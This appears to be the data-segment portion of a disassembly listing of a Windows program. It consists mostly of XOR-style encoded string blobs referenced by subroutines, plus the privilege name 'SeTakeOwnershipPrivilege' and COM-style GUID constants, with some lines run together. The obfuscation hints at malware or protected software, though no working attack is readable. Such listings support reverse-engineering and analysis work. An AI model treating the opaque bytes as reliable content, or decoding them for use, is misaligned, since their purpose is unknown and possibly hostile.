dd 5159135Eh
db 51h, 0
word_551D7A dw 7 ; DATA XREF: sub_441B17+1o
dd 55504536h, 5A5A5218h
db 0
byte_551D85 db 1, 0, 0C0h ; DATA XREF: sub_44181A+205o
db 0BCh, 0
word_551D8A dw 5Ah ; DATA XREF: sub_44181A+D5o
dd 0D3D3F1B0h, 0C4DEC5DFh, 0DDD1FE90h, 0FFE093D5h, 0E39083E0h
dd 0D5C6C2D5h, 0FDE393C2h, 0E390E0E4h, 0D5C6C2D5h, 0FDE393C2h
dd 0F490E0E4h, 0DCC0C3D9h, 0FE90C9D1h, 93D5DDD1h, 0E0E4FDE3h
dd 0D1DDF590h, 0F190DCD9h, 0D5C2D4D4h, 0E093C3C3h, 9083E0FFh
dd 0C2D5C3E5h, 0DDD1FE90h, 9393D5h
dword_551DE8 dd 1B4B000Eh, 6B781B04h, 38382A1Bh, 2F39243Ch db 79h, 0
word_551DFA dw 39h ; DATA XREF: sub_44181A:loc_441838o
dd 646D7122h, 70637576h, 4B6F7E67h, 514D5041h, 7E56444Dh
dd 47564C6Bh, 56474C50h, 41416302h, 564C574Dh, 4C436F02h
dd 50474543h, 4141637Eh, 564C574Dh, 12077E51h
db 1Ah, 5Ah, 0
aSetakeownershi db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_440CD2+1C2o
dword_551E50 dd 0B89D0005h, 0C1EEB8EEh db 0
byte_551E59 db 5, 0, 0FBh ; DATA XREF: sub_44077A+1F2o
aIIz db 'ވވ§',0
word_551E62 dw 3 ; DATA XREF: sub_44077A+C9o
dd 550C5A7Fh
db 0
byte_551E69 db 4, 0, 4 ; DATA XREF: sub_44077A+6Eo
aGX db '!g>X',0
byte_551E71 db 1, 0, 0E0h ; DATA XREF: sub_440364+3A5o
db 9Ch, 0
word_551E76 dw 1 ; DATA XREF: sub_440364+34Bo
db 0E6h, 9Ah, 0
byte_551E7B db 19h ; DATA XREF: sub_440364+2EEo
dd 0C5C28B00h, 0C4C8DFCEh, 0D8ABC6C6h, 0EEFDF9EEh, 0EADBABF9h
dd 0E4FCF8F8h, 0F8EFF9h
dword_551E98 dd 0F78B0001h db 0
byte_551E9D db 5, 0, 0ADh ; DATA XREF: sub_43FB03+2CCo
dd 88F1DE88h
db 0DEh, 0
word_551EA6 dw 5 ; DATA XREF: sub_43FB03+25Eo
aTqQ db 'tQ',7,'(Q',7,0
byte_551EAF db 4 ; DATA XREF: sub_43FB03+17o
dd 81D7F200h
db 0AEh, 0D8h, 0
byte_551EB7 db 1 ; DATA XREF: sub_43F41A+284o
dd 654400h
dword_551EBC dd 0DBF10001h db 0
byte_551EC1 db 4, 0, 2Eh ; DATA XREF: sub_43F41A+1F3o
a___ db '*...',0
byte_551EC9 db 1, 0, 2Ch ; DATA XREF: sub_43F090+333o
db 0Fh, 0
word_551ECE dw 1 ; DATA XREF: sub_43F090+2DEo
db 6Fh, 4Ch, 0
byte_551ED3 db 1 ; DATA XREF: sub_43F090+25Eo
dd 0E9CA00h
dword_551ED8 dd 0A3CB0007h, 0F1BBBFBFh db 2 dup(0E4h), 0
byte_551EE3 db 1 ; DATA XREF: sub_43F090+1F2o
dd 200300h
dword_551EE8 dd 335B0007h, 612B2F2Fh db 2 dup(74h), 0
byte_551EF3 db 0Bh ; DATA XREF: sub_43F090+10o
dd 8289EA04h, 8F82898Fh, 8F989A84h, 83C49999h, 0C9858C84h
dd 8E86858Dh, 8686859Ah, 878589C4h, 9E8483C9h, 8E86858Dh
dd 878589C4h, 9D9D9DC9h, 988889C4h, 0C99F98C4h, 0C49D9D9Dh
dd 82899C8Bh, 0C481898Fh, 99C99F98h, 8798859Eh, 0C4938B9Ah
dd 0C9878589h, 9E9F9889h, 84C49A85h, 8F84C99Fh, 8D8FC49Dh
dd 8589C48Dh, 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h
dd 878589C4h, 899C8BC9h, 81898F82h, 0C99F98C4h, 82899C8Bh
dd 0C481898Fh, 0C9908388h, 0C49D9D9Dh, 84838888h, 0C99F98C4h
dd 9E998B87h, 92C7988Fh, 878589C4h, 9D9D9DC9h, 84859AC4h
dd 89998390h, 0C499878Bh, 0C9878589h, 0C49D9D9Dh, 81848B88h
dd 848B88C7h, 0C78F9F9Bh, 8B848B89h, 89C48B8Eh, 9D9DC98Bh
dd 859AC49Dh, 99839084h, 99878B89h, 878589C4h, 9D9D9DC9h
dd 858788C4h, 878589C4h, 938B9AC9h, 0C4868B9Ah, 0C9878589h
dd 938B888Fh, 878589C4h, 9D9D9DC9h, 848B88C4h, 878C8581h
dd 989F8E8Bh, 8589C48Bh, 9D9DC987h, 8389C49Dh, 89C48988h
dd 9DC98785h, 9CC49D9Dh, 98C4889Eh, 9D9DC99Fh, 9D89C49Dh
dd 81848B88h, 878589C4h, 86858DC9h, 86859A8Eh, 8589C486h
dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
dd 9D9D9DC9h, 888787C4h, 0C481848Bh, 9DC99F98h, 9FC49D9Dh
dd 998B8384h, 879F989Eh, 0C99F98C4h, 8E86858Dh, 8686859Ah
dd 878589C4h, 9D9D9DC9h, 84859AC4h, 89998390h, 0C499878Bh
dd 0C9878589h, 0C49D9D9Dh, 8698859Dh, 848B888Eh, 9885C481h
dd 9D9DC98Dh, 8B89C49Dh, 8E838E84h, 9C8F9E8Bh, 8C83988Fh
dd 0C4988F83h, 0C9878589h, 0C49D9D9Dh, 9084859Ah, 8B899983h
dd 89C49987h, 9DC98785h, 88C49D9Dh, 8581848Bh, 8E84838Ch
dd 89C48B83h, 9DC98785h, 83C49D9Dh, 848B8889h, 9F98C481h
dd 899C8BC9h, 81898F82h, 0C99F98C4h, 0C49D9D9Dh, 8E848F9Ch
dd 84999885h, 0C48F878Bh, 9DC9999Dh, 81C49D9Dh, 98C48887h
dd 9D9DC99Fh, 8F84C49Dh, 8D8B879Eh, 8F9E9983h, 8589C498h
dd 8B81C987h, 908B819Ch, 9E848F89h, 89C4988Fh, 9DC98785h
dd 9CC49D9Dh, 858E848Fh, 8B849998h, 9DC48F87h, 9387C999h
dd 83868485h, 898B8F84h, 849F8589h, 0C4D8999Eh, 8F88888Bh
dd 9E8B8493h, 8B848583h, 8589C486h, 0C9819FC4h, 83868485h
dd 88C78F84h, 8483999Fh, 0C499998Fh, 93858686h, 999E998Eh
dd 8589C488h, 0C9819FC4h, 0C49D9D9Dh, 8B86868Bh, 8B888B82h
dd 848B888Eh, 8589C481h, 9D9DC987h, 8898C49Dh, 8589C489h
dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h
dd 9D9D9DC9h, 9982C4DBh, 89C48988h, 8D81C98Bh, 868F9888h
dd 8689928Bh, 98C4889Fh, 8B93C99Fh, 0C4858887h, 0C9908388h
dd 858E8381h, 8B88C799h, 98C48184h, 9D9DC99Fh, 8886C49Dh
dd 98838E89h, 0C49E898Fh, 989F8B86h, 839E848Fh, 8B88848Bh
dd 89C48184h, 8B88C98Bh, 8B868998h, 89C49993h, 9EC98785h
dd 868B9E85h, 988C9386h, 8B888F8Fh, 84838184h, 8589C48Dh
dd 9D9DC987h, 8884C49Dh, 8B89C489h, 88D9DFC9h, 0C481848Bh
dd 0C9878589h, 0C49D9D9Dh, 8E848F9Ch, 84999885h, 0C48F878Bh
dd 9DC9849Ch, 88C49D9Dh, 9EC788D8h, 9E999F98h, 878589C4h
dd 9D9D9DC9h, 848F9CC4h, 9998858Eh, 8F878B84h, 0C9999DC4h
dd 848F9A85h, 81848B88h, 878589C4h, 9E8B9EC9h, 8C8F84C7h
dd 848B889Eh, 9F98C481h, 898F99C9h, 0C4888B86h, 99C99F98h
dd 989F898Fh, 86939E83h, 98C4888Bh, 8F8CC99Fh, 988B829Eh
dd 8388C48Eh, 988DC990h, 9A928485h, 8F848B86h, 98C4999Eh
dd 8F9CC99Fh, 98858E84h, 878B8499h, 849CC48Fh
db 0C9h, 0
word_552302 dw 4 ; DATA XREF: sub_43ECB6+70o
dd 474F5A7Fh
db 27h, 0
word_55230A dw 12h ; DATA XREF: sub_43EBF8:loc_43EC37o
dd 767D4C0Fh, 615A7B7Fh, 7B607D7Fh, 4B7B6C6Ah, 6E7B6Eh
dword_552320 dd 82E1000Bh, 95919893h, 85CFD3D2h db 2 dup(8Dh), 0
byte_55232F db 0Bh ; DATA XREF: sub_43EBF8+1o
dd 7C6D0E00h, 3D7A7E77h, 626A203Ch
db 62h, 0
word_55233E dw 13h ; DATA XREF: sub_43E7A3+3F0o
dd 8193B7Ch, 0E0E093Fh, 2C081219h, 191F130Eh, 18350F0Fh
db 0
byte_552355 db 9, 0, 0F7h ; DATA XREF: sub_43E7A3+3DBo
aAeugtUit db ' …ƒ’±›’',0
word_552362 dw 11h ; DATA XREF: sub_43E7A3+3C6o
dd 0F0E1C384h, 0EFF7EDC0h, 0E1E1F6C2h, 0E7E5F4D7h
db 0E1h, 0C5h, 0
byte_552377 db 16h ; DATA XREF: sub_43E7A3+3B1o
dd 0B694D300h, 0A5BD96A7h, 0BDBCA1BAh, 0A7BDB6BEh, 0BAA1A780h
dd 92A0B4BDh
db 0
byte_552391 db 13h, 0, 55h ; DATA XREF: sub_43E7A3+39Co
dd 6213012h, 3021262Ch, 273C1138h, 3A213630h, 142C27h
dword_5523A8 dd 4D0A000Ch, 6F5E7E6Fh, 6B5A7A67h, 4B627Ehdword_5523B8 dd 0E9850008h, 0E9F7F1F6h, 0D2EBE0hdword_5523C4 dd 0FBBC000Eh, 0D3F0C8D9h, 0D9D0DDDFh, 0D3DAD2F5h
; DATA XREF: sub_43E7A3+35Do
db 0FDh, 0
word_5523D6 dw 0Dh ; DATA XREF: sub_43E7A3+348o
aKiIDIsIm db 'ÍŠ¨¹‰¿¤»¨™´½¨Œ',0
asc_5523E7 db 0Bh,0 ; DATA XREF: sub_43E7A3+333o
db 86h, 0C5h, 0EAh
dd 0CEE3F5E9h, 0EAE2E8E7h
db 0E3h, 0
word_5523F6 dw 0Eh ; DATA XREF: sub_43E7A3+31Eo
dd 0D2C3F5A6h, 0C3CACFE0h, 0C8CFC9F6h, 0D4C3D2h
dword_552408 dd 6D21000Ch, 6D45404Eh, 40534348h, 605853hdword_552418 dd 6F3D000Dh, 58675149h, 5870524Fh, 444F5250h db 0
byte_552429 db 7, 0, 37h ; DATA XREF: sub_43E7A3+2DFo
aYrort db '`^YrORT',0
asc_552434: ; DATA XREF: sub_43E7A3+2CAo
dw 0Ah
dw 0FBBEh
db 'Æ×ÊêÖÌÛßÚ',0
word_552442 dw 14h ; DATA XREF: sub_43E7A3+2B5o
dd 23391E57h, 383B2532h, 33323C34h, 2534391Eh, 39323A32h
db 23h, 0
word_55245A dw 0Dh ; DATA XREF: sub_43E7A3+2A0o
a?yvqQzgkyvsz db '?yVQ[qZGKyVSZ~',0
asc_55246B db 0Dh,0 ; DATA XREF: sub_43E7A3+28Bo
aKiUIasdai db 'ÍŠ¨¹´¾¹¨ ™¤ ¨',0
dword_55247C dd 581F000Ch, 764B6B7Ah, 705C747Ch, 6B716Ahdword_55248C dd 8ACD0010h, 0A280B9A8h, 0A8A1B8A9h, 0A9A3AC85h, 8CA8A1h
; DATA XREF: sub_43E7A3+261o
dword_5524A0 dd 7127000Bh, 5253554Eh, 55614B46h db 2 dup(42h), 0
byte_5524AF db 0Bh ; DATA XREF: sub_43E7A3+237o
dd 11206300h, 6170206h, 60F0A25h
asc_5524BC: ; DATA XREF: sub_43E7A3+222o
unicode 0, <">
dw 0Ah
dw 0B2FDh
aNsuIise db '˜“°ˆ‰˜…¼',0
asc_5524CC: ; DATA XREF: sub_43E7A3+20Do
dw 0Bh
dw 0C384h
dd 0EDC2F0E1h, 0EDD7E1E8h
db 0FEh, 0E1h, 0
byte_5524DB db 0Bh ; DATA XREF: sub_43E7A3+1F8o
dd 497D3B00h, 52775E5Eh, 495A4959h
db 42h, 0
word_5524EA dw 0Ch ; DATA XREF: sub_43E7A3+1E3o
dd 8398A7F1h, 9D908485h, 9E9D9DB0h
db 92h, 0
word_5524FA dw 10h ; DATA XREF: sub_43E7A3+1CEo
aNlJfdyLGhdlh db ')nL]jFDY\]L[gHDLh',0
asc_55250E db 0Bh,0 ; DATA XREF: sub_43E7A3+1B9o
a6yfsxfdyusee db '6yFSXfDYUSEE',0
byte_55251D db 17h, 0, 0ECh ; DATA XREF: sub_43E7A3+1A4o
aKuiiivEugvbivs db 'ª‰‰©‚š…ƒ‚‰‚˜¿˜…‚‹Ÿ',0
dword_552538 dd 0FDBB000Eh, 0FDDFD5D2h, 0CFC8C9D2h, 0DED7D2FDh
; DATA XREF: sub_43E7A3+18Fo
db 0FAh, 0
word_55254A dw 0Ch ; DATA XREF: sub_43E7A3+17Ao
dd 0D8CFFEBDh, 0F0D8C9DCh, 0C5D8C9C8h
db 0FCh, 0
word_55255A dw 14h ; DATA XREF: sub_43E7A3+165o
dd 0C5DFF8B1h, 0DEDDC3D4h, 0D5D4DAD2h, 0C3D2D4F5h, 0DFD4DCD4h
db 0C5h, 0
word_552572 dw 14h ; DATA XREF: sub_43E7A3+150o
dd 989DB2F4h, 999DA091h, 0A79BA091h, 9180878Dh, 999DA099h
db 91h, 0
word_55258A dw 0Dh ; DATA XREF: sub_43E7A3+13Bo
dd 0FFEECC8Bh, 0F8F9EEDDh, 0CEE5E4E2h
db 0F3h, 0CAh, 0
byte_55259B db 9 ; DATA XREF: sub_43E7A3+126o
dd 2F034000h, 29063930h, 1252Ch
dword_5525A8 dd 0D89F0015h, 0F0C9EBFAh, 0FAF2EAF3h, 0F0F9F1D6h, 0EBFEF2EDh
; DATA XREF: sub_43E7A3+111o
dd 0DEF1F0F6h
db 0
byte_5525C1 db 8, 0, 45h ; DATA XREF: sub_43E7A3+FCo
dd 21242017h, 20292C03h
db 0
byte_5525CD db 13h, 0, 90h ; DATA XREF: sub_43E7A3+E7o
dd 0F5F4F9C7h, 0E2F1F8D3h, 0E5DDFFC4h, 0D2F9E4FCh, 0F5E4E9h
dword_5525E4 dd 4D0E000Fh, 6F7E6361h, 67486B7Ch, 675A6B62h db 63h, 6Bh, 0
byte_5525F7 db 11h ; DATA XREF: sub_43E7A3+BDo
dd 34165100h, 38291425h, 353E1225h, 23390534h, 353034h
dword_55260C dd 460B0013h, 627F677Eh, 6E7F7249h, 625C645Fh, 63486E6Fh
; DATA XREF: sub_43E7A3+A8o
db 6Ah, 79h, 0
byte_552623 db 9 ; DATA XREF: sub_43E7A3+93o
dd 9EBDF100h, 0B79D9092h, 949483h
dword_552630 dd 0D88F0013h, 0C9FBE6EEh, 0E6DCFDE0h, 0EAE3E8E1h, 0EAE5EDC0h
; DATA XREF: sub_43E7A3+7Eo
db 0ECh, 0FBh, 0
byte_552647 db 12h ; DATA XREF: sub_43E7A3+69o
dd 25074000h, 242F0D34h, 6252C35h, 0E252C29h, 1252D21h
db 0
byte_55265D db 0Bh, 0, 52h ; DATA XREF: sub_43E7A3+54o
dd 373E3716h, 3B143726h, 13373Eh
dword_55266C dd 0AEFD000Ch, 8FB88998h, 0B08F928Fh, 989992hdword_55267C dd 0F7B10009h, 0F2D5DFD8h, 0D4C2DEDDh db 0
byte_552689 db 0Ah, 0, 42h ; DATA XREF: sub_43E7A3+15o
dd 23212D0Eh, 2E2E032Eh
db 2Dh, 21h, 0
byte_552697 db 12h ; DATA XREF: sub_43E7A3o
dd 0FCDE9900h, 0EBECDAEDh, 0EDF7FCEBh, 0FCEBF1CDh, 0FDD0FDF8h
db 0
byte_5526AD db 6, 0, 4 ; DATA XREF: sub_43E501:loc_43E609o
db '!\)!\%',0
asc_5526B7 db 7,0 ; DATA XREF: sub_43E501+58o
db 0D4h, 88h, 0A4h
dd 0B8B0FAFEh
db 0B8h, 0
word_5526C2 dw 6 ; DATA XREF: sub_43E397+150o
aWpvgep db '$WPVGEP',0
dword_5526CC dd 1C710006h, 1121C14h db 8, 0
word_5526D6 dw 8 ; DATA XREF: sub_43E397+126o
dd 0C0F0A7Ch, 812150Eh
db 1Ah, 0
word_5526E2 dw 7 ; DATA XREF: sub_43E397+111o
aW91 db 'W$',27h,'%>9#1',0
asc_5526ED db 7,0 ; DATA XREF: sub_43E397+FCo
db 9Fh
dd 0EFEAF0EBh, 0EDFAEFh
dword_5526F8 dd 77160004h, 7F7962hdword_552700 dd 0D5B80006h, 0D7D4D4D9h db 0DBh, 0
word_55270A dw 5 ; DATA XREF: sub_43E397+BDo
dd 1D0E0F7Ch
db 12h, 18h, 0
byte_552713 db 6 ; DATA XREF: sub_43E397+A8o
dd 4B673800h, 485D5D54h
db 0
byte_55271D db 4, 0, 0A5h ; DATA XREF: sub_43E397+93o
db 'Ã×ÀÀ',0
byte_552725 db 4, 0, 87h ; DATA XREF: sub_43E397+7Eo
dd 0E3E9E6F5h
db 0
byte_55272D db 6, 0, 0E8h ; DATA XREF: sub_43E397+69o
aEneles db '……‹…˜',0
byte_552737 db 6 ; DATA XREF: sub_43E397+54o
dd 0C1C6B500h, 0CCC5D6C7h
db 0
byte_552741 db 6, 0, 0E8h ; DATA XREF: sub_43E397:loc_43E3D6o
aEnein db '……›œ',0
asc_55274B db 0Ah,0 ; DATA XREF: sub_43E397+28o
db 0D9h, 0BAh, 0ABh
dd 0B5B5BDADh, 0B5B5BDF7h
db 0
byte_552759 db 0Ah, 0, 0F9h ; DATA XREF: sub_43E397+1o
aLnaxxAxx db 'š‹••×••',0
byte_552767 db 0 ; DATA XREF: sub_43E284:loc_43E2E5o
db 0, 9Eh, 0
byte_55276B db 5 ; DATA XREF: sub_43DE84+23Do
dd 782E0B00h, 782E57h
dword_552774 dd 0D8FD0005h, 8ED8A18Eh db 0
byte_55277D db 4, 0, 78h ; DATA XREF: sub_43DE84+Fo
aR db ']',0Bh,'$R',0
byte_552785 db 4, 0, 39h ; DATA XREF: sub_43DE1F+1Co
dd 65035A1Ch
db 0
byte_55278D db 14h, 0, 0B4h ; DATA XREF: sub_43DD23:loc_43DD6Bo
dd 0DBC0E7E4h, 0C6F7D1C6h, 0D1C0D5D1h, 0C0C7DAFDh, 0D1D7DAD5h
db 0
byte_5527A5 db 0Bh, 0, 35h ; DATA XREF: sub_43DD23+31o
aEfazgpvQyy db 'EFAZGPV',1Bh,'QYY',0
asc_5527B4 db 0Bh,0 ; DATA XREF: sub_43DD23+1o
dw 1363h
dd 110C1710h, 74D0006h
db 2 dup(0Fh), 0
byte_5527C3 db 6 ; DATA XREF: sub_43DC76+2Do
; sub_446ED7+223o
dd 0B0B0DB00h, 0A3ADF6AAh
db 0
byte_5527CD db 8, 0, 0E3h ; DATA XREF: sub_43DC76:loc_43DC93o
aROciC db 'Ƽ—›Æ–',0
byte_5527D9 db 11h, 0, 0DCh ; DATA XREF: sub_43DA83+24o
dd 0B9A8B295h, 0A8B9B2AEh, 0ACA499FCh, 0B9AEB3B0h
db 0AEh, 0
word_5527EE dw 10h ; DATA XREF: sub_43D309:loc_43D351o
dd 0E7E8F3A0h, 0CFE6D4C5h, 0D2C5C4CCh, 0C8D4C1F0h
db 0E1h, 0
word_552802 dw 0Bh ; DATA XREF: sub_43D309+31o
dd 171A0172h, 40411E1Eh, 1E1E165Ch
db 0
byte_552811 db 0Bh, 0, 5Eh ; DATA XREF: sub_43D309+1o
a622mlp22 db '-6;22mlp:22',0
dword_552820 dd 65390001h db 0
byte_552825 db 5, 0, 0EBh ; DATA XREF: sub_43B5D8+806o
aPkqk db 'ÅŠŸŠ',0
word_55282E dw 16h ; DATA XREF: sub_43A324+EF4o
dd 52A69h, 2649020Ah, 490C0A07h, 2A49063Dh, 1D0706h, 0C1C07h
dword_552848 dd 0ABE90006h, 0A6BDBDBCh db 0A7h, 0
word_552852 dw 1Eh ; DATA XREF: sub_43A324+E29o
dd 464E5316h, 4257445Fh, 3658595Fh, 53425752h, 571C1C1Ch
dd 46365B42h, 5536585Fh, 535259h
dword_552874 dd 40130006h, 5A475247h db 50h, 0
word_55287E dw 0 ; DATA XREF: sub_43A324+D37o
db 10h, 0
word_552882 dw 4 ; DATA XREF: sub_43A324+D27o
dd 101D1C59h
db 0Dh, 0
word_55288A dw 6 ; DATA XREF: sub_43A324+C9Fo
aFtvcht3 db 'Ftvcht3',0
dword_552894 dd 0BF9A0004h, 0EFA8B4hdword_55289C dd 0B80000h dword_5528A0 dd 3A790008h, 363B3436h, 21363Bhoff_5528AC dd offset dword_460000 ; DATA XREF: sub_43A324+A9Ao
dword_5528B0 dd 0F0B30008h, 0FCF1FEFCh, 0EBFCF1hdword_5528BC dd 6E3D0006h, 74697C69h db 7Eh, 0
word_5528C6 dw 6Eh ; DATA XREF: sub_43A324:loc_43AC53o
dd 303F0451h, 71343D33h, 30713E25h, 3E392524h, 342B3823h
dd 22745B7Fh, 3E232171h, 22223432h, 71363F38h, 253F3432h
dd 38712334h, 3F247122h, 343D3330h, 713E2571h, 39252430h
dd 2B38233Eh, 3E287134h, 32712324h, 71352330h, 5B7F2274h
dd 343A301Ch, 233E3271h, 25323423h, 223F3E38h, 353F3071h
dd 28232571h, 30363071h, 7F3F38h
dword_552938 dd 0ABE6000Ah, 83929587h, 9487A594h db 82h, 0
word_552946 dw 4 ; DATA XREF: sub_43A324+8FDo
dd 0E9F3ECBAh
db 0FBh, 0
word_55294E dw 1 ; DATA XREF: sub_43A324+828o
db 47h, 67h, 0
byte_552953 db 6 ; DATA XREF: sub_43A324+818o
dd 0CCCB9800h, 0DBD1CCD9h
db 0
byte_55295D db 15h, 0, 53h ; DATA XREF: sub_43A324+6E7o
dd 73737359h, 101C0103h, 1A000016h, 1573141Dh, 161F1A12h
db 17h, 0
word_552976 dw 6 ; DATA XREF: sub_43A324+6D7o
aQOJm db 'ï¼»®»¦¬',0
dword_552980 dd 3B0000h dword_552984 dd 0F1A20006h, 0EBF6E3F6h db 0E1h, 0
word_55298E dw 6 ; DATA XREF: sub_43A324+4FEo
dd 150F0F64h, 1C1249h
dword_552998 dd 5C190008h, 76756961h, 6B7C6Bhdword_5529A4 dd 85C10009h, 0A38EA2AEh, 0B5A2A4ABh db 0
byte_5529B1 db 0Eh, 0, 9Ah ; DATA XREF: sub_43A324+421o
dd 0CDF8FBCEh, 0F5FEF4F3h, 0FBF6D9EDh, 3A00E9E9h, 2F2Fh
dword_5529C8 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5529D8 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; sub_443B74+1F2o ...
dword_5529E8 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
; DATA XREF: sub_43B556:loc_43B5A2o
; sub_43E652+D3o ...
dword_5529F8 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; DATA XREF: sub_43FA81:loc_43FACDo
dword_552A08 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_552A18 dd 20400h, 0 ; sub_43FA81:loc_43FAADo ...
dd 0C0h, 46000000h
dword_552A28 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_44496E+188o
dword_552A38 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44726D+89o
dword_552A48 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44496E+54Eo ...
dword_552A58 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A68 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A78 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_552A88 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_552A98 dd 2 dup(0) ; sub_43FA81+Co ...
dd 0C0h, 46000000h
dword_552AA8 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 52h dup(0)
; DATA XREF: sub_43E652+9Eo
; sub_440A1B+A7o ...
_data ends
end start